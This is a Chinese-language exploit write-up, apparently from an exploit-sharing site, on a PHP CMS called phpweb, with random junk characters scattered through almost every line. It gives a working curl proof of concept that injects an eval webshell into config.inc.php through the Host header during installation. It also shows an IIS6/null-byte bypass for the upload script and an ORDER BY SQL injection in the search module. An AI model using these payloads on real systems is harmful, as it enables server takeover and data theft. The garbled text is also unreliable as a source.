注入:
* Q, Z8 k' \( G; S* a1 S8 b/ b% p
% Z. _7 O7 e8 j! Y; d5 h# c之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码 f, |& [0 J1 x, S0 p! ?' y& ?
/ ~ f4 r( k( X# j/ `# N4 o1 `
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
% ?/ {; \% b! Q$ Z鸡肋2: 有一定安全常识的站长都会删掉 install 目录
6 e* `3 B3 l6 N
8 H$ W, _' j6 r虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
' d; }# i* ~( k0 I 1 G. g& W h9 f" z
分析:
' s6 f. ]1 }* V/ ] ]4 T% P5 G
3 w, B1 J) f" x/ g1 [5 K+ y % P! n7 r" X; z4 K% z N, R: E
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤8 A6 ]9 o; l0 U$ j" {5 H% B9 s# @
8 G( V% q2 {; \3 C; Z+ D! } $filestr = fread(fopen($SysConfigFile, 'r'),30000);
6 k+ n+ F: K# ^! h $filestr=str_replace(" ","",$filestr);$ K; i5 T$ A j3 p* K- q
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
# u+ c* H' X% g: \; X+ B $filestr=str_replace("DefaultDbName",$dbname,$filestr);& L0 W8 z' q" D6 m1 P, L
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
0 k0 c L/ r! j! r7 \! c& [ $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);" @& q8 p7 {$ E1 |
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
& S. n% c' a) r- i# q7 @5 | $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
. N3 d+ n7 L- j$ K6 y9 F4 e $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);* b: E5 C: q- P4 y, K
6 E4 A' {) R: R- E6 \0 A9 Z7 O fwrite(fopen($ConFile,"w"),$filestr,30000);
9 T! F3 p6 I; l6 J& s$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^1 g% T3 J/ z% e% d$ p
. D7 D) B" W' r a$ Fpoc:# a. J5 o. X4 z6 r) I
: U6 G9 g1 E8 M! A" V?" C' P$ ]& ]( V- K2 C- E7 z
1
; B/ T+ i, \5 E5 a" o: |curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"- F* i0 o' h0 V3 P G, g
shell地址: /config.inc.php
: |, G( |( O7 v跟之前的 phpcms一样 需要远程数据库
- A1 c( @; S( X5 @0 ^5 x' C
3 m, f* _$ v8 k3 l* `% j——————————————————–* p4 z Y2 I1 h, G9 K
上传漏洞(需要进后台):# u+ [0 |3 A# X0 z" b' {% E
漏洞文件: /kedit/upload_cgi/upload.php
) B) ]6 O0 F! s0 b8 m这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用0 W m! G" |* n+ Z7 ?
' h* a$ D! f% m0 K% B0 r
/ C$ s! S, Q4 [( B7 V1 W
<?php! d; X* t& w: W* j
define("ROOTPATH", "../../");
o6 B; Z* x3 b; M1 i include(ROOTPATH."includes/admin.inc.php");
" D3 H6 l. P" G" z, [8 D; C NeedAuth(0);/ A! l1 ~& o$ T2 s9 D
" B" X9 \& @. W
$dt=date("Ymd",time());2 S% U/ j- N( k& T6 l& W' C2 M
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
& W; Q7 x9 `2 A& b2 T* T1 o2 f @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
3 s7 P+ _1 Y9 N5 A' c( E) A" H }$ o0 c; d7 F, u# q1 O& B) R! X1 M
3 z0 L* G1 t( Y7 c; e4 x //文件保存目录路径
% T4 v# H$ m: Y& ^; H3 j9 f) p $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
3 x) H- E2 f$ @, T. C% M echo $save_path;
4 j' U% x9 w, L1 W //文件保存目录URL
3 P8 Q- ~9 w6 Q $save_url = '../../'.$_POST['attachPath'].$dt.'/';
' }. }$ _& t# X! P$ Y/ }7 N7 h
! K' v/ \/ `$ Z //定义允许上传的文件扩展名( W. W5 m) M. F+ ]
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀) K+ R) e1 g' W4 p6 G7 L
9 a6 Z) e9 q9 U //最大文件大小
! |: U/ l5 y4 {7 \ $max_size = 1000000;) G r% D/ K" N- q
2 B$ K3 u% k( V( b- e3 q# A //更改目录权限& }* w" P* y7 e1 ]5 G7 G8 g+ Z
@mkdir($save_path, 0777);- z7 \ d; j7 }# L! J8 q
$ n: @3 L' H: D* E //文件的全部路径
: e! h' D+ s. @9 J @ $file_path = $save_path.$_POST['fileName']; //保存文件名6 w! k% p- E, |
. @# s4 i. N7 f. C( {. J5 ^7 P
//文件URL
4 s9 r( }' L- z% b# @, ]: ? F7 ~ $file_url = $save_url.$_POST['fileName'];
) P$ _) S+ y6 e* U- r0 e//有上传文件时
3 k1 l# Y+ f" Z; x if (empty($_FILES) === false) {! |- m& Q$ ~: u, M% y+ S
+ I+ i& V6 x- b" U5 h1 K" ]
//原文件名
, B& o, l& P) Y7 q# l; l $file_name = $_FILES['fileData']['name'];
) A6 X d' ]) X, }. x0 J4 x //服务器上临时文件名4 J, l3 `% n# h9 T2 E
$tmp_name = $_FILES['fileData']['tmp_name'];
6 I+ U* `: \/ H6 M' S s //文件大小
8 h% X9 E% ] k, Y/ r $file_size = $_FILES['fileData']['size'];
9 c, ?* J k9 F //检查目录7 q% P$ _# P0 R5 H0 ]/ y+ G
if (@is_dir($save_path) === false) {& Q0 c% b8 Z" `+ t+ o8 @, o5 D
alert("上传目录不存在。");
, D0 `5 h$ T+ y% n* R. H `( j }
+ W6 P0 b7 k0 `8 x% [& w4 B //检查目录写权限+ n3 G7 q3 J8 v8 \0 M- z% O4 @
if (@is_writable($save_path) === false) {
, x R$ Q$ |0 r alert("上传目录没有写权限。");4 F+ z6 t+ D# e! W( _9 S
}
! T9 _, G2 d! A //检查是否已上传& z; D# l9 z, \
if (@is_uploaded_file($tmp_name) === false) {) |; R$ U8 b/ Z- U
alert("临时文件可能不是上传文件。");
4 h" M W% b9 y }
* w* T2 V' h0 U+ p //检查文件大小
+ a* `$ o. W0 y# e' U1 s4 L$ c if ($file_size > $max_size) {
1 F1 _3 O5 L/ [, F. S alert("上传文件大小超过限制。");5 I0 g+ ^* ?2 j7 i" P! [# I1 p
}; `& i$ g; K: _8 R. u: J. H8 q& Y
//获得文件扩展名
7 ~5 E) L9 B/ {6 s3 X2 S $temp_arr = explode(".", $_POST['fileName']);9 B; E% S4 `" J0 J& @
$file_ext = array_pop($temp_arr);
7 f9 T3 d5 v* [, x7 t7 b6 l0 b" ~) ? $file_ext = trim($file_ext);7 W# q! b" P3 S& F: _
$file_ext = strtolower($file_ext);2 D3 E/ ^$ u2 n
: N/ Y( K/ k E3 K( E* ^9 }" l @ //检查扩展名 / c) V8 h( D8 K8 |* O2 V8 z
if (in_array($file_ext, $ext_arr) === false) { 2 ^& s" |! S4 H U O7 c, c6 {: j
alert("上传文件扩展名是不允许的扩展名。");- g* [: Q+ u# Y* O1 Y% G ~+ r
}) S7 F0 a/ s) A8 \$ u
' l, `+ q( P# d //移动文件 2 l: z8 f4 u2 `
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
8 [8 Z% [. j( A9 F9 k. `& k if (move_uploaded_file($tmp_name, $file_path) === false) {* i$ f7 y6 n8 l, I6 m- T4 N
alert("上传文件失败。");
; h. y% E( s" \. v }/ I# j2 w" e: ]
5 h8 W: ~4 j$ e0 T9 |( b0 V* M+ Z# ^ @chmod($file_path,0666);
5 v2 l8 n/ `5 t- m# D0 n1 Z) c! T 9 y2 S" Z3 R7 P; {
?>
: ]- c6 x( u* T# d. L抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227' [+ b9 Y/ O; J2 L# e- `
( a. L; G. Y& S. F; G
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
8 |) F, S. w, W7 m. H1 c- T
& y2 g; M' M( H: ]——————————————————
8 p4 T1 G# J+ Q. S9 Y注入漏洞:* K( c. Z: K% Z
漏洞文件:search/module/search.php1 c0 G9 ^! l: e# _
/search/index.php?key=1&myord=1 [sqlinjection]9 h# E) h; A3 e8 }, B* v
, w* w0 S+ Z: j* y! c
! L. m7 g# w! T& O4 J" q- e, ?+ a<?php- c2 A3 D% Z2 \/ L7 G! H! z
// ... 省略 n 行.../ m& c- B& z0 k, s% _8 j' W
//第18行:
. [4 U* Z7 y8 L: P $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响; U2 T0 o7 G, y& c
$page=htmlspecialchars($_GET["page"]);2 l7 n# d9 c! N. V. `3 s# s0 x" Z
$myord=htmlspecialchars($_GET["myord"]);% B8 t2 s0 r9 ^; | R
2 N* q8 u l' a4 ?
// ... 省略 n 行...3 w1 s9 Z j% ?! t: M
$key,$myord 两个参数带入查询
* V) n. J. z3 R( W- y //第47行 $key:
6 Q; J6 W& n) ~/ z) B* N
! K/ X+ K, e# y1 C$ c" q4 a $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
1 l: p. ] ?' P 7 [$ [; t6 ~) @- g4 u0 r
//第197行 $myord# y8 f* z1 H. V' a$ [% R
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
0 }7 k$ ~$ X8 }
9 ~$ ~1 u z; I! q: G( g' O ?>
X" s; l" W, ]$ R5 i. w, i |